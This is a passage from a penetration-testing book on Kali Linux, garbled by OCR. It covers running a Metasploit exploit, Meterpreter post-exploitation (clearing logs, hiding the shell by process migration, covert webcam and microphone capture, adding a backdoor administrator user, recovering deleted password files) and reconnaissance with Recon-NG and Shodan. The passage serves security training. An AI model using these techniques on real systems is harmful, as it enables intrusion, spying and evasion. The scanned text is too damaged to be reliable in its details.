doubl e check that everythingis set correctly.

)] > show options

Current Setting FReguired Description

The targ

[he pipe name to use (BROWSER, SRVSVC)

If you notice above, |ooks like we forgot to set the target system (RHOST) |P address!

We set the RHOST for a prior example, but when we switched exploits, we never re-set the remote
host IP address. This can happen when you are running through a lot of exploits, or attacking different
systems, so it is agood idea to double check your settings.

9. Setthe RHOST option by typing:
set RHOST 192.168.0.20

Checking the options one | ast time, everything | ooks good:



] i/ j o

Setting Reguired Description

Nama

EXITFUNC
LHOST
LPORT

Our payload is selected, and all the options that we need to set are set.
We can now run the exploit.

10. To do so, simply use the fexpl oitd command.
f ' ) > exploit

The exploit then runs and when successful the payload executes and if the exploit works, we get a
remote connection.

Connecting to a Remote Session
Once we have a successful exploit we will be able to view any remote sessions that were created. To
check what sessions were created type the fisessionsd command.

Any sessions that were created will show up along with the IP address, computer name and user name
of the target system.

We can now connect to the session interactively with the fisessions -i <I D#>0 command as shown in
the sampl e session above.

When we connect to the session, the prompt will change into a meterpreter prompt:

We will cover the Meterpreter shell in more depthin the next chapter. But for now, if we just type the
fishel 6 command we can see that we do indeed have a remote shell to the Windows system.

Conclusion



In this rather lengthy introduction to Metasploit we learned how to perform some basic functions of
the framework to enable us to find and use exploits. We also talked briefly about using payl oads and
setting necessary functions.

Metasploit is able to do a ton of things; we just briefly brushed some of the more elementary core
functions.

Again if you are feeling lost at this point, don& panic! We will cover the entire Meterpreter exploit
process later in greater detail.

Next we will talk about the Meterpreter shell, an amazing and fun interface that we can use to
mani pul ate systems that we successfully expl oited.



Chapter 41 Meterpreter Shell

Resources
O http://en.wikibooks.org/wiki/Metaspl oit/Meterpreter Client

O http://cyberarms.wordpress.comy2013/02/03/remotel y-recording-speech-and-turni ng-it-
| nto-sear chabl e-text-wi th-metaspl oi t-watson/

I ntroduction
After a successful exploit a Meterpreter shell allows you to perform many different functions along
with afull remote shell.

Meterpreter is great for manipulating a system once you get a remote connection, so depending on
what your goals are; a Meterpreter shell is usually preferred to a straight remote terminal shell.

Meterpreter gives us a set of commands and utilities that can be run to greatly aid in security testing.
For example, there are commands to pull the password hashes and gather data & settings from the
system.

There are also some fun tools included in Meterpreter, for example, you can turn on the userés
webcam and grab still shots, you can turn on the remote microphone and even grab desktop
screenshots of what the user is working on.

Inthis section we will quickly cover the Meterpreter shell and some of its features.

Basic M eterpreter Commands

Letd start with a machine that we tricked into running a backdoored program (To see how to create
an Anti-Virus evading backdoor see the chapter on fiVeil0.) Once executed the backdoor program
connected out to our Kali system and a session was created. We were then automati cally dropped into
the active session as seen below:

Okay, letGs see what Meterpreter can do, let start by using the help command to see what is



available.

meterpreter > help

When we do so, we see that the commands are broken out 1 nto sections.

The commands are:

Core Commands

File System Commands
Networking Commands
System Commands

User Interface Commands
Webcam Commands

And three Priv Commands

We will not cover all of the commands, but will ook at a couple in alittle more depth. It is a good
ideato read through them all to get a basi ¢ understanding of what they can do.

O« O« O« O« O¢ O« O«

Core Commands

cript
a background thre

ive channels

o rabowt-a-Post-modul e
el

As a beginner level user, you will probably only use background, help, load, migrate, run and exit
fromthislist.

0 Background - Background allows you to background a session so that you can get back to
the msf prompt or access other sessions.



Y ou can return to your session by just using the fisession -i <session #>0 command.

O Load and Runi These commands allow you to use additional modules and commands
inside Meterpreter.

O Exiti Exitsout of Meterpreter.

File System Commands
When you have a Meterpreter shell, you basically are dealing with two file systems, the local and
remote. File system commands allow you to interact with both.

Stdapi: File system Commands

; of a file to the screan
le or directory

working directory
aCTO I""..-'

1 for f
d a file

Basically you can use standard Linux commands to get around and use the fil e system. But how do you
differentiate between the local system and the remote system that you are attached to?

All the commands are assumed to be used on the remote system. So for example to get a directory
listing of the remote system, just use the fil SO command:

meterpreter = Ls

If we create a directory called fitestd on the remote machine we can navigate to it, and then list the
contents:



When you need to move around your local (Kali) file system there are a couple commands you can
use.

0 Getlwd & lpwd 1 Get (display) Local Working Directory

O Lcdi Change Local Directory

So if we needed to check our local working directory and then change into our Desktop directory on
our Kali systemwe can do the following:

Download allows you to download fil es from the target system, and conversely, upload allows you to
send files to the remote system.

So if we wanted to upload afile, just connect to the local and remote directories that you desire and
execute the upload command with the file name you want to send, as shown below:

meterpreter =

We connected to the Desktop on the Kali machine where we had our tools file. We then connected to



the fitesto directory on our target, and simply used the fiupl oadd command to transfer the file.

Download works the same way, just use download and the file name to pull the file off the remote
system and store it on your local Kali machine:

Now |etés take alook at the network commands.

Network Commands
These commands allow you to display and mani pul ate some basi ¢ networking features.

Stdapi: Networking Commands

O Arpi Displaysalist of remote MAC addresses to actual |P addresses.

Ifconfig & ipconfig both display any network interfaces on the remote system.

0
O Netstat i Displaysalist of active network connections.
0)

Portfwd and route allow you to do some advanced routing attacks. Though we will not be
covering it in this book, using these two commands allow you to use the machine you have
exploited to pivot or use it to attack other machines in the target network or networks.

System Commands
Below is alist of system commands. We won& cover them all, but again, it is good to read through
the list to get familiarized with them:



sonation token.

vailable to

running as

CLEAREV T Thisuseful little command will attempt to clear the logs on the remote computer.

We may warnt to erase our tracks and clear the system logs on the target machine. If we look at the
logs on the Windows 7 system side, we canseethat it is full of events:

|2] Event Viewer (Local) Security MNumber of events: 4,151

y Custom Views 1
4 “n Windows Logs Keywor., Date and Time Source Event IC *
1 Application 4 Audi.. 10/22/2013 8:D5:28 AM Micros... 4672
] Secunty Audi... 10/22/2013 8:06:28 AM Micros.. 4624
=] Setup L Awdi.. 10/22520013 8:06:28 AM Micros.. 4648
[ System A, Audi... 10/22/2013 8:02:28 AM Micros.. 457z
5| Forwarded Events o, Audi.. 10/22/2013 802:28 AM Micres... 4624
Applications and Services Lo|ll € aydi.. 10/22/2013 802:25 AM Micros.. 467z
1 Subscriptions Audi.. 10/22/2013 80225 AM Micros.. 4624
= Audi... 10/22/2013 8:00:26 AM Micros.. 461€
- Audi.. 102273013 8:00:23 AM Micros... 4634
A Audi.. 10/22/2013 8:00:19 AM Micros.. 5024
Bnardi N2 3 BN T8 AkA klirrnc L EE ¥

Some of those events may include things that we did. So we can clear the logs remotely from the Kali
system by typing, ficlearevo:

The Application, System and Security logs are wiped. If we look at the security log again it just
shows one record, fiLog Clearo:

Keywor.. Date and Time Source EventID TaskC..

3 g '“C'Ei;?— 107 | :
. L et S o

Now obviously this will stick out like a sore thumb to anyone analyzing the logs. But if there are
events you want removed, you can clear the log.



GETPID & PS COMMANDST| As you use Meterpreter, two of the commands that you will use
somewhat frequently are getpid and ps.

O Getpidi tellsyouwhat process ID your shell is running on
O Psi listsall processes running on the remote system

So if | type, figetpido | seethis:

2rpreter > getpid

Current pid: 3824
Thisisthe process ID number that our shell is using. If | type fipso | can see all the processes:

meterprater = ps

If we go further down the list, looking for our pid number of 3824 we seethis:

3824 3796 powershell.exe x86 1 WIN-LOANLOTDQLU\Fred
C:\Windows\System32\WindowsPower Shell\v1.0\powershel | .exe

This shows our process ID of 3824. It also shows that we are running under a power shell.exe process
as the user fiFredo.

This information comes in handy when we want to fimigrateo out of this low level process and into a
process with a higher level access. We can move our shell off of this PID to a process that has higher
level access.

Migrating also allows us to merge and hide our shell into another more common process, in essence
hiding our connection. Explorer.exe is one of the more common processes to migrate to.

Simply find the PID# of the process you want to use (1736 on our system) and type, fimigrate
<PID#>0



We will talk about migrating and some of the other Meterpreter commands more in later sections. For
now |etds talk about screenshots and using the remote webcam!

Capturing Webcam Video, Screenshots and Sound

When | was listening to the news a while back | remember them going on and on about a brand new
fadvanced persistent threato that could actually allow attackers to turn on your webcam and even
record sound. | thought this was completely ridiculous as you have been able to do this with
Metasploit for years.

WEBCAM VIDEO

From the Metaspl oit shell, typing firun webcam -ho displays the help menu.

materprafer = rum webcam -h

Then just type firun webcamo and add any options that you want. This will remotely display the
webcam from the target system.
er > run webcam -1
webcam 1: HP Webcam-101
ftream at: .AN am.htm

saved to : ./webcam.jpg
topping webcam

If you use the f+10 option it will continuously grab webcam snaps until you hit ACNTRL-Co.

The only hint you get on the target machine that something is wrong is that your webcam recording
light (if yours has one) comes on. Other than that, you cannot tell that someone is remotely viewing
your webcam.



The webcam screenshot above is an actual image | got one day of my cat. Not sure why cats must
sleep on laptop keyboards, but | do know now who has been ordering all that Tuna fish onlineé

SCREENSHOTS

You can grab a snapshot of whatever is currently being displayed on your targetG monitor using the
fiscreenshoto command:

= sCreenshot

root/Desktop/SOuNfwcN. jpeg

TElasadaddaas

Well, along with getting his system infected with a backdoor exploit, it seems that our star employee



al so spends his val uabl e time at work playing video games online.
Niceé

SOUND RECORDING

Recording sound is very similar, just type, firun sound_recorder -ho for options, or if you warnt to

Y ou can then open the saved file onyour Kali systemto listento it:

Q0:04 00:30

P oo Bl [Nl ES XN

Running Scripts
The last topic we will cover inthis section is running scripts. Meterpreter has over 200 scripts that
you can run to further expand your expl oitati on tool set.

We actually have already touched on these. We used the firuno command to use the sound and
webcam script attacks. We will take a moment and cover a couple more of them.

To seealist of all the available scripts just type fiRun <tab><tab>0:

meterprater = run

Display all 213 possibilities? (y or n)

Then just type, firuno with the script name that you wart to try.
Here are a coupl e of the more interesting ones:

CHECKVM:

Sometimes when you get a remote shell you are not sure if you are in a Virtual Machine or a
standal one computer. Y ou can check with this command.

meterpreter = run checkvm
[*] Checking if target is a Virtual Machine .....

[*] This is a VMware Virtual Machine

Asyou can see it correctly determined that our target was aVMware VM.
GETGUI:

Getgui is aneat little script that will allow you to enable remote desktop on a Windows machine (if it
isn@ already enabled) and create a remote desktop user.

The user is added to both the remote desktop user group and the administrators group. This makes it
handy if you want to connect back to the machine at a later date.



First type, firun getgui -eo0 to enabl e remote desktop:

, thanging it to auto ...

¢ Jroot/.msf4/logs/scripts/getgu

Now we just need to open a terminal and run the firdesktopd command that comes with Kali to
connect to the Windows Remote Desktop:

:~# rdesktop -u EvilUser -p - 192.168,198.132

ceyboard map en-us

The fA-p -0 switch tell s rdesktop to prompts you to enter a password. Thisis a bit more secure as you
are not sending clear text passwords over the wire.

Once we loginwe will get a graphical Windows desktop on our Kali machine:



rdesktop = 192.168.198.132

2 Preparing your desktop..,

w. Windows 7 pProfessional

There are additional scripts to try to turn off Anti-Virus, disable the target firewall, grab artifacts
and credentials from multiple programs like Firefox, ftp programs, etc., plus many more.

Take some time and check them out.

Remote Shell

Lastly, letés see how to get an actual C:\ prompt. Thisis extremely easy once we have a Meterpreter
session. Just type the command, fishell 0.

That6s it! We can now run any DOS command that we wart.

Playing with M odules - Recovering Deleted Files from Remote System
Now | et take a second and talk about something a little more advanced. LetG see how to use one of
the included Meterpreter modul es to recover files that have been del eted from aremote drive.

The firecovery filesd script allows you to recover files that the target user has deleted from his

system. This could be very handy, as deleted files could contain information of interest for both the
forensics and pentesting realm.

System files and logs, account information, and important documents are just a small sample of what



could be recovered.

To prep for this example, | simply took my Windows 7 system and created a fake RAccounts
Passwords.txto file and saved a copy of nmapds fiDiscovery.pdfo manual onthe E: drive.

| then deleted the files:

Data
Account Passwords.bd ! JPM Text ent

nmap discovery.pdf

' i B
Delete Multiple Ttems &

.~ Areyou sure you want to move these 2 items to the Recycle Bin?
-
- i f

| Yes | Mo

L. '

Using the M odule

The modul e requires that you have an open session to the target that you want to check. Once you get a
successful remote session, simply type, Abackgroundo to temporarily back out of the session back to
the msf prompt and use the modul e as shown bel ow:

f

run this module on.
[T @ the module will go t

hrough the

msf post(

As you can see in the screenshot above, there are a coupl e settings that need to be set.

If you just want to see what files are there, you only need to set the fiDriveo and iiSessiono settings as
shown above.

Then just run the expl oit:



} = run

[
[
[
[
[
l
[
[
[
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il

The exploit ran and found four files that it could recover, the two that we del eted and two other ones.
Now, say we only wanted to recover the txt files. Simply type, fiset FILES txto and run the exploit

6523 default 192

4 default 192

It recovered the text files and stored themin the /root/.msf4/loot directory. If we surf to that directory
we can find and open the text fil es that were saved:

£ EiHome misf4

20131030151624_
default_192 168
198.132_resident

file_490952.txt

And view thefile:

File Edit Search Options
Wccount Passwords:
Fred/ P@$$word
MySQL/ SOLM@Ster!
FIP/ FTPKING!




And there we go, looks like there are 3 user accounts, including passwords, which we were able to
recover from the remote machine!

But what if we wanted to recover pdf files?

Again, simply fiset FILES pdfo and run the exploit again:

As last time the recovered files were stored in the | oot directory. We can open the PDF to verify that
it worked:

In this paper we will use a DMZ environment with a variety of different firewa ll
rulesets to jlustrate the best methods for discovering hosts behind a firewall
The DMZ architecture we will use throughout this paper is depicted n the
following mage

-

II 21009 [ |
=

Here we have a typical DMZ with a firew all filtering inbound traffic. In our
scenarios we will use "pseudo-rulesets” to keep the rules readable. The actual
syntax from the rules are a mix between PF and engrish, so don't get hung up on
the accuracy of them - they just need o be readable. Alse, the version of nmap
| used for this testing was 3.00

Our scanning host sits on the 192.168.5.0/24 network and has the |P address of
192.168.5.20

Unless otherwice stated, we will use the following nmap command for all
discovery scans
nmap -sP 172.26.1.0/29




You can also set the modul e to recover multiple file types at once by simply listing what you want in
the FILES variable and separate them with a comma.

Lastly, the files can also be recovered by the ID number (not shown).

Recovery File M odule Wrap-Up
The module seems to work really well on data drives, but not so well on drives where there are a lot
of filesto recover, like onthe main drive of a single drive system.

| ran this on a Windows 7 boot drive on a VM that | have used alot and it literally took hours to run.
Granted it probably found about a thousand files, but | just can& see how feasible this would be in

real life asit would create an enormous amount of suspicious network traffic.

Hereis a network packet capture of the modul e running against a drive with alot of deleted files:

Ma.

Tirmea Source

Destination

Protocol Length Info

674 14, 330245000 192.168. 198,132  192.168.198.147 TCP 128 49167 = terabase
5673 14.330424000 152.168, 198, 147 152.168.198.132 TCP 54 terabase = 49167
676 14.330640000 152.168. 198.132 192.168.198.147 TCP 1328 49167 = terabase
677 14, 330780000 152.168. 198. 147 152,168.198.132 TCP 54 terabase > 49167
G678 14. 416585000 192,168, 198, 147 192.168.198.132 TCP 283 terabase > 49167
5759 14.423085000 152.168.198.132 152.168.198.147 TCP 128 459167 = terabase
620 14.423318000 1592.168. 198,147 152.168.198.132 TCP 54 terabase > 49167
681 14.423585000 152.168. 198.132 152.168.198.147 TCP 1328 49167 = terabase
GE2 14.423725000 192. 168, 198,147 1592.168.198.132 TCP 54 terabase = 49167
583 14.515351000 192.168. 198. 147 182.168.198.132 TCP 283 terabase = 49167
8624 19.332613000 152.168.1598.132 192.168.198.147 TCP 128 49167 > Lurabase
685 14.533168000 152.168. 1598. 147 152.168.198.132 TCP 54 terabase > 49167
686 14,534822000 152,168, 198,132 1592,168.198.147 TCP 1328 49167 = terabase
£87 14.534066000 152. 168, 198, 147 152.168.1968.132 TCP 54 terabase = 49167

But then again, how many people actually record and anal yze their data traffic?

The module does function extremely well though on smaller drives that don@ have an enormous
amount of deleted files. It was lightning fast and worked very well.

Conclusion

Inthis chapter we learned a | ot about Metaspl oitGs Meterpreter shell. Though we covered some of the
basics of getting around and using the shell, we only touched on a fraction of its capabilities.
Hopefully you can see why getting a Meterpreter shell gives you a whole lot more functionality than
just getting a strai ght remote access shell.

Grabbing video and sound may seemto be a bit theatrical, but social engineers could use information
they glean. For instance from video they could grab images of people® badges, and have a glimpse
into the targetés physical environment.

Sound is interesting too. A social engineer could learn a lot about the target facility by being able to
have a live microphone inside the building. And not too long ago ASINN3ro from the Metasploit
devel opment team showed how you could grab recorded audio and search it using AT& Té Watson
speech program and Metaspl oit to ook for keywords like fipasswordo or fisocial security numbero.

(See AResour ceso above for link to article)



Lastly we saw how to recover deleted files from a remote system using a special Meterpreter module
called fiRecovery Fileso

Once we get remote access to a machine with a Meterpreter shell we can interact with the target
system, manipulate it, and even grab video fromit.

But we can also use Meterpreter to bypass Windows UAC protection and automate pulling user
password hashes and even plain text password. We will talk about all of these features in upcoming

chapters.



Part 3 - Information Gathering & Mapping




Chapter 517 Recon Tools

Resources
O Recon-NG Wiki Page - https://bitbucket.org/LaNMaSteR53/recon-ng/wiki/Home

I ntroduction

There are severa tools in Kali Linux to aid in information gathering and reconnaissance. When a
hacker attacks a target one of the normal stages they perform is information gathering. They warnt to
|earn as much about your network, their target, as they can, to make their lives easier.

Maltego is a very popular tool one that is covered quite a bit in security books and training seminars.
As it already has a lot of coverage, | figured we would look at some of the other tools included in
Kali.

In this chapter we will ook at one of the newer tools, Recon-NG and a couple other tools that come
with Kali.

Recon-NG
The Recon-NG Framework is a powerful tool that allows you to perform automated informeation
gathering and network reconnaissance. Think of it as Metasploit for information col |l ection.

Recon-NG automates a lot of the steps that are taken inthe initial process of a penetration test. It has
numerous features that allow you to collect user information for social engineering attacks, and
network information for network mapping and much more.

You can automeatically hit numerous websites to gather passive information on your target and even
actively probe the target itself for data.

Anyone who is familiar with Metasploit will feel right at home as the interface was made to have the
same look and feel. The command use and functions are very similar. Basically you can use Recon-
NG to gather info on your target, and then attack it with Metaspl oit.

Using Recon-NG
To start recon-ng, just open aterminal prompt and type, firecon-ngo:



t=# recon-ng

recon-ng = |}

Type, fihelpo to bring up alist of commands:

recon-ng = halp

b level

‘ormation

resource file

urce file

recon-ng >

Now, like Metasploit, you can type fishow moduleso to display alist of available modules:



recon-ng = show modules

Experimantal
axperimental/rca

Recon

Some of the modules are passive; they never touch the target network. While some directly probe and
can even attack the systemyou are interested in.

One tactic used to passively probe network structure is to use the Google search engine to enumerate
site sub-domains. You know that there will be a main domain like fisome_target_name.como but
what other subdomains are out there?

You can do a Google search for subdomains using the fisite:0 and Ainurl:0 switches. Then remove
sub-domains (-inurl) that you find, so other subdomains will appear. This can take a while to do by
hand and canrequire alot of typing if the target has a large number of sub-domains.

Recon-NG will do this for you automatically and record what it finds in a database.

Just use the i recon/hosts/gather/http/web/google site 0 module. Then fishow optionso to see what
the modul e requires.

DOMAIN

racon-n I_l googlLa sl1Te
This one only requires the target domain.

As in Metasploit, just type, fiset domain [targetname.com]o. Then just type, firuno and the module
will execute, as seen below:

et DOMAIN SomeDomainMame.com

Y ou will then see a screen like the simul ated one bel ow:



URL: http://fwww.google.com/fsearch?start=08&filter=08:q=5ite%
3ASomeDomanName.com

www. SomeDomainName.com

support.SomeDomainName.com

tech.SomeDomainMame.com

Sleeping to avoid lockout...

URL http://www.google.com/search?start=0&filter=08g=site%
3ASomeDomainName. com-site®3Awww. SomeDomainName.comi-site%

3Asupport.SomeDomainName.com+-site%3Atechnet. SomeDomanName.com

mvp. SomeDomainName.com
online.SomeDomainName.com
research. SomeDomainMName.com
reports.SomeDomain Mame.com
conned.SomeDomain Name.com
remote. SomeDomainName.com
avents. SomeDomain Name.com
store.SomeDomainName.com
Sleeping to avoid lockout...

As you can see from the screenshot above, Recon-NG is enumerati ng the sub-domains for a fictitious
website called fiSomeDomai nName.como. Within seconds, several of the sub-domains are listed.

All the data collected by Recon-NG is placed in a database. You can create a report to view the data
col lected.

Just type in fibacko to get out of the current module:

46 total hosts found.
46 NEW hosts found!
recon-ng [google site] > back

recon-ng >

And then fi show moduleso again.
Noti ce the fiReportingo section:

Simply use one of the report modules to automatically create a nice report of the data that you have
obtai ned.

racon-ng = use reporting/csv_

recon-ng [csv file] = run

46

All the files will be stored in the fiYusr/share/recon-ng/wor kspaces/defaul to directory.

Recon-NG Wrap up

Sub-domai n enumeration is only one module you can run, there are many others to choose from. There
are also some that require a program API key like Twitter, Shodan, LinkedIn or Google. Using these
you can get specific information from the corresponding sites about your targets.



For example you can search Twitter for tweets from your target or even check Shodan for open
systems.

| have just briefly touched on some of the capabilities of Recorn-NG. It is really an impressive tool
that is well worth checkinginto.

Dmitry
Dmitry is a nice little tool for quickly finding out information about a site. Just run Dmitry from the
menu or command line.

Deepmagic Information Gathering T
"Thare ba soma deep

g ost

scan on a host showing output reporting filt

ared por

Admitry -s SomeDomainName.como will perform a similar scan as demonstrated in the Recon-NG
section.

Netdiscover

s with packet loss)
Far auto

p are not enabled, netdiscover will scan

Netdiscover is another neat tool included inKali. It too can be run from the command prompt or from
the menu system.

Netdiscover scans a network |ooking for devices and then displays them:



Currently scanning: 172.16.84.0/16 Screen View:

It can al'so runin stealth fipassived mode where it doesnd send any data, it only sniffs traffic.

Zenmap
Zenmap is basically a graphical version of the ever popular nmap command. If you are not familiar
with nmap, then Zenmap is a great place to start.

Like the previous commands, Zenmap can be started from the menu or command line.

Once started, you will see the following screen:

Zenmap
Scan Tools Profile Help
Target Profile: | Intense scan b Scan
Command: .nmep T4 -A -v
Hosts | Services Wmap Output | Perts / Hoste | Tepolegy | Hoet Details | Scans
as Host it

Just fill in the target IP address and choose what type of scan you want to perform from the Profile
drop down box. Zenmap will show you what the resulting nmap command switches are in the
command box. Then just click the iScano button to run the command:

Target: [192.168.198.2 “ | Profile: |Intense scan, no ping hd Scan

Command: |nmap -T4 -A -v-Pn 192.168.198.2

Hosts | Services Nmap Output | Ports / Hosts  Topology Host Details Scans
05 | Host nmap -T4 -A -v -Pn 192.168.198.2 v Details

- -

Starting Mmap 6.40 ( http://mmap.org | at
2013-12-03 17:18 EST

MSE: Loaded 110 scripts for scanning.

MSE: Script Pre-scanning.

[nitiating ARP Ping Scan at 17:18

Scanning 192.168.198.2 [l port]

Completed ARP Ping Scan at 17:18, 2.00s elapsed
(1 total hosts)

Initiating Parallel DNS resolution of 1 host. at
1718

Completed Parallel DNS resolution of 1 host. at
17:18, B.84s elapsed

Initiating SYN Stealth Scan at 17:18

Scanning 192.168.198.2 [1060 ports]

Discovered open port 53/tcp on 192.168,198.2
Completed SYN Stealth Scanm at 17:18, 0.12s
elapsed (1000 total ports)




As you can see above the nmap command status shows up in the Nmap Output window.
Other information can be viewed by clicking on additional tabs, like the fiPorts/ Hostso tab:

Mmap Qutput Ports / Hosts Topology Host Details | Scans

Fort Protocol State Service Version

& 53 tcp open tcpwrapped

Or the fiHost Detailso window:

Nmap Output Ports / Hosts Topolegy Host Details | Scans

*1192.168.198.2 =

* Host Status

State: up

2 <

Filtered ports: O

Open ports:

Closed ports: 999

Scanned ports: 1000

i

Up time: Mot availlable ‘ |
Last boot: Mot available

* Addresses
IPvd: 192.168.198.2

[PvB: Mot available

MAC: 00:50:56:F CAC:SE [
= Operating System
Mame; Microsoft Windows 7 Enterprise

Accuracy:

Conclusion
In this chapter we looked at the multi-faceted tool Recon-NG. We saw how it was created to mimic
Metasploit so users who are familiar with it could pick up Recon-NG fairly quickly.

We also covered a couple other tools used in Host identification, reconnaissance and information
gathering.



Chapter 6 - Shodan

Resources
O Shodan Website - http://www.shodanhg.com/

O Googl e Dorks Database - http://www.expl oi t-db.con/googl e-dorks/

Introduction
Shodan is one of the cool est websites on the web. Called the fiHacker & Googl eo, fiDark Googleo and
many times just fiterrifyingo, it is a search engine for computers.

Shodan allows you to find computers on the web by searching for them by keyword. For example, you
can search for all the Microsoft I1S 7.0 servers in Canada, or all the systems using Linux in Africa.

If you are familiar with iiGoogle Dorkso, Shodan is similar, but is a much easier way to search the
breadth of the internet for systems.

The trick to using Shodan effectively is to know the right keywords. Usually they are the
manufacturer® name, or a device model number, but sometimes they are the name of a very obscure
embedded web server that you would never think to | ook for.

But once you know these magic keys, in seconds you can search the world for these devices. Or by
using filter commands you can refine your search to certain devices and areas.

A security tester can use Shodan to very quickly assess what systems on their network are being
displayed publicly, when maybe they shouldn& be. It can also allow them to find possible rogue or
unauthorized devices that have been added to the company network.

In this section we will briefly discuss why scanning your network space with Shodan is a good idea.
We will then look at how we can do these searches from the web interface, Shodanhg.com, and
finally through Kali Linux using the Metaspl oit Framework.

Why scan your network with Shodan?
There are a large number of seemingly important systems that should never be publicly viewable on
the Internet. All can be found easily with just a couple keyword searches.

Everything from open, outdated & insecure systems, routers, network storage, and phone systens - to
security cams, building controls, and even security systems.

But that is not all.

Open network printers and embedded devices can also be a fount of information for hackers giving



out SNMP and network infrastructure information, and possibly even user accounts and passwords!

| |
IP Address: I:l

Ready

Refresh Location:
Contact
Configuration
TCPNP
Sel Hostname E—31
Darmam Hama :I
Address 1
MNetmask L—!
Gatenay 1
Enable DHCP
Enable RARP
Enable BOOTP
Enabde AutolP
Enable FTRITFTP 4

HTTF Senver Enablad L

WINS Server Address | |

DMS Server Address | I

Backup DNS Server | |
Address

Sadly, inthis new hightechworld, computer systems are not the only things that can be found online.

Sure you can find large industrial HVAC environmental and building temperature controls compl etel y
open and unsecured. But you can also find other non-common devices like aguariums with an online
control interface and unbelievably, even remote controlled doors:

State State

IDLE IDLE

Timer Timer

-n'a- -nia-

Status Status

Closed Closed

Message Message

door closed properly door closed before timer expired
Auto-close timer 7 days. & hours, 35 minutes, 45 seconds
60 minutes

Close Fail timer
20 seconds

Often the online device has security, but it comes with it turned off from the manufacturer, and all the
user needsto doisturnit on or assign a password.

But many dong:

Password Settings

Use Password | O |« |

Hew User Password

New Admin Password

|
Confirm New User Password [
|
|




And many times when a password is used, it is |eft to the factory default password (easily found) or a
simple password (easily cracked).

The company owner may not have even been the one (directly) to put one of these devices online.
There have been a couple reports of internet enabled building controls from major companies found
online over the years. The building contractor, obviously not understanding internet security, |eft them
compl etely open or with default credential s.

Searching for open systems using Shodan has become very popular. If you have heard of fiUrban
Explorerso i those that explore old abandoned buildings in cities for thrills, think of frequent Shodan
searchers as iCyber Explorerso 1 those that explore the world& computers for open or loosely
secured systens.

And once interesting systems are found on Shodan, the keyword searches are usually shared amongst
friends or publicly posted on the internet.

Granted many are just surfing Shodan to grab screenshots of ridicul ous things that people put on the
web, but it is also atool that those with nefarious purposes could also use.

That is why it is important to check to see if you have systems publicly viewable or accessible from
the web that you don@ know abouit.

Shodan Website
To use Shodan, simply point your web browser to Shodanhg.com:

% SHODAN

ExXPOSE ONLINE DEVICES.

WEBCAMS. ROUTERS.
POWER PLANTS, IPHONES, WIND TURBINES.
REFRIGERATORS. VOIP PHONES.

1Pads . IPwd A, Thn

Then all you need to do is enter your keyword to use and click, search just as you would on any
search engine.

So if we wanted to search Cicso routers we could just type in iiCiscoo and click, fisearcho:



Shadan

# SHODAN = Saarch

Services 190.223.13.66
EEH 670,656 Clars

HTTR 661,604 H Lims
SHM 206, 452

190.242.12.190
Tapr Gounirme Columibus Bebaorks U S84

Top Qrganizations
50.203.181.8
Gomeas Gable HTTF/L.0 401 Uearsthorized
T INTErTEE
=,
[ oy Ihabi
N Al sitw Bane rmabes"laval |

Shodan returns links to about two million Cisco routers worldwide. You can click on any |P address
to surf directly to the device found.

On the left side of the screen, Shodan also shows you how many of the total devices are from a
certain country or location. You can click on any of them to zero in your search, or you could use
keyword filters directly in the search to fine tune the results.

Filter Guide
Using Filter commands you can quickly narrow down your searches to very specific things.

For example, say you were a Microsoft employee and needed to find all the I1S servers running I1S
8.0 inthe US that are a part of the Microsoft domain?

Y ou could enter something like the line below:

Shodan Exploits Scanhub Research Anniversary Promotion

% SHODAN me:microsaft.com country:US Search

This quickly and easily sorts through the millions of servers out there and returns the ones that match
the query.

Hereis a sample searchreturn:



L. Title :| Microsoft Corporation |

| VTag: 4
4, Body Text -|

3 23:42:58 GMT

1. Server title information. You can search for other servers that contain the identical title text by
putti ng the information into the title command.

2. Designates the server country location, again search-abl e by using the country command.
3. The hostname search term can be used to search for servers by domain names.

4. Body text area. Any text entered into Shodan without afilter will be assumed to be a body text
search and will ook for servers that have the requested information in the body text area.

Filter Commands
Letés take a closer ook at the filer commands.

(To use these commands or to get more than one page of results, you need to sign up for a free
Shodan Account).

CITY and COUNTRY Command

The City and Country commands allow you to narrow down the geographic location of your
searches.

country:(2 Letter country code)or city:(city name)
country:US
city:Memphis

Better yet, combine the two if the city you are looking for is located in more than one country.
country: US city:Memphis

HOSTNAME Command
Scan an entire domai n with the hostname command:

hostname: google

You can use part of the Fully Qualified Domain Name, like google or the entire site like
WWW.mi crosoft.com or support.microsoft.com.

NET Command
Scanasingle IP or awhole net block range using the net command:




net:192.168.1.10
net:192.168.1.0/24

TITLE Command
Y ou can also search for items using the Title command:

title:Server Roomo

Title is probably one of the most over looked search parameters. You can scan the entire
Internet or your entire domain looking for title keywords.

KEYWORD Search

Probably the most popular way to search Shodan is using a body keyword search. If you
know the type of server the target systemis using, the name of an embedded server, or warnt to
search for only 200 OK 0 webpages, then the body keyword searchis the one to use.

For instance if you wanted to find all the servers running Apache server version 2.2.8 and
only want open sites, or sites that didn@& return an error when scanned 1 200 OK 0 sites, use
the following keywords:

apache/2.2.8 200 ok

Or maybe you want to skip any 401 unauthorized pages or 302 Moved pages? Just use a
minus sign and the HTML error code:

apache/2.2.8 -401 -302

Combined Searches
The most effective Shodan searches are completed by combining search terms. With a few keywords
you could search for all of the Microsoft servers running 11S/7.0 at your Boston |ocation.

11S/7.0 hostname: Y our Company.com city: Boston

Or you could do a quick security scan of your domain for old systems that need to be updated. For
example any 115/5.0 systems | ocated anywhere on your domainin France.

11S/5.0 hostname: Your Company.com country. FR

Title searches work great too. Many webcams use ficamerao in their title information. If cameras
were not allowed on your network you could quickly check for that.

Title:camera hostname: Your Company.com

Lastly searching using the Geo coordinates opens up some interesting capabilities, especially for
OSINT and government entities. Say you were creating a network map and wanted to search for Linux
servers located near Damascus, Syria:

geo: 33.5,36.3 os: Linux
For some reason not every system will be correctly labeled with their city/ country and the geo



keyword hel ps identify additional systems that would not show up otherwise.

Other search terms you can use include:

4

O Port: Search by port number.

W

O OS: Search by Operating System.
O After or Before: Searchfor servers using dates.

Shodan Searches with M etasploit
Shodan search capabilities have been added to the Metasploit Framework. You just need to sign up

from a free Shodan user account and get an API key from their website. Using an API key allows you
to automate Shodan searches.

To find systems with Metaspl oit, you simply use it like any other exploit:
1. Create afree account on Shodanhg.com.

Obtain an API key - http://www.shodanhg.convapi_doc

Start Postgesgl (Type, fiservice postgresgl startoinaterminal).
Start the Metaspl oit Service (fiservice metasploit starto).

Start Metaspl oit (fimsfconsoleo) or use Top Ten Menu.

o g A~ W N

Type, fuse auxiliary/gather/shodan_searcho:

f > use auxiliary/gather/shodan_search

msf auxiliary( ] = l

1S
M

